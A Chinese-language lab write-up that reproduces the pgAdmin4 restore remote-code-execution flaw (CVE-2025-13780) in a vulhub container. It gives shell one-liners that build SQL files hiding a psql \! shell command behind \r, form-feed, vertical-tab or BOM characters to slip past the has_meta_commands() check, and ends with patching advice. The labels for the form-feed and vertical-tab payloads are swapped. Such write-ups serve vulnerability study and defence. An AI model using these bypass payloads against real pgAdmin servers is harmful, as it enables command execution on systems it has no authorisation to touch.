pgAdmin4后台Restore RCE(CVE-2025-13780)复现

0 阅读2分钟

简介

pgAdmin是一个流行且功能丰富的开源PostgreSQL数据库管理和开发平台,广泛被数据库管理员和开发者用于通过Web界面管理PostgreSQL数据库。

pgAdmin4 9.11版本之前存在一个远程代码执行漏洞。pgAdmin4的restore功能使用psql命令行程序执行用户上传的纯文本格式sql文件。攻击者可以利用特殊字符绕过pgAdmin4对文件内容的安全检查,在sql文件中嵌入meta command (\!),使psql程序执行系统命令。

搭建

pgAdmin4 9.10

#vulhub
cd vulhub/pgadmin/CVE-2025-13780
docker-compose up -d

登录凭据为vulhub@example.com:vulhub

访问 http://ip:5050

sql:vulhub:vulhub

复现

文件生成

test.sql:

echo -ne "SELECT 1;\n\\! bash -c 'touch /tmp/hacked2'\n" > test.sql

test2.sql:

echo -ne "SELECT 1;\r\n\\! bash -c 'touch /tmp/hacked2'\n" > test2.sql

payload.sql:

echo -ne "SELECT 1;\r\\! bash -c 'touch /tmp/hacked2'\r" > payload.sql

开始"restore"

点击 servers输入密码登录数据库后,server - main - database - vulhub,然后右键点击 restoreimage-20260520210626016.png

上传sql文件

选择文件

image-20260520213748848.png

选择"upload"image-20260520213848917.png

单击页面并选择文件image-20260520214153720.png

点击上面的"x"返回image-20260520214310536.png

选择刚才的文件image-20260520214355162.png

restore执行

切换格式为"Plain"并执行payloadimage-20260520214529333.png

image-20260520220958761.png

image-20260520220752409.png

else

如果选择test.sql\test2.sql :

image-20260520221105497.png

恢复被阻止:所选纯SQL文件包含psql元命令(例如\!或\i)。出于安全考虑,pgAdmin不会执行纯恢复中的元命令。请移除元命令。

原来的代码has_meta_commands()函数使用br'(^|\n)[ \t]*\\',只识别\n作为行开始,将反斜杠前的空格和制表符视为可忽略字符以及在二进制模式下扫描文件

故除了使用\r,还可以通过多种方式构造payload绕过pgAdmin的has_meta_commands()函数检测

# 垂直制表符
echo -ne "SELECT 1;\x0c\\! ls>/tmp/ls" > payload_ff.sql

# 换页符
echo -ne "SELECT 1;\x0b\\! id>/tmp/id" > payload_vt.sql

# UTF-8 BOM绕过
echo -ne "\xef\xbb\xbf\\! echo utf_bom>/tmp/bom" > payload_bom.sql

image-20260521132116848.png

借鉴:高危 pgAdmin 远程代码执行漏洞(CVE-2025-13780)绕过此前修复:可通过恶意数据库恢复实现服务器接管-安全KER - 安全资讯平台

防御

  1. 立即升级 pgAdmin 至 ≥ 9.11,官方已修复该漏洞。
  2. 在升级前,避免在服务器模式下从不可信来源恢复 PLAIN 格式 SQL 文件。
  3. 对数据库恢复功能增加严格的文件内容过滤与命令执行隔离。
  4. 使用最小权限原则运行 pgAdmin 服务账户,降低被利用后的危害范围。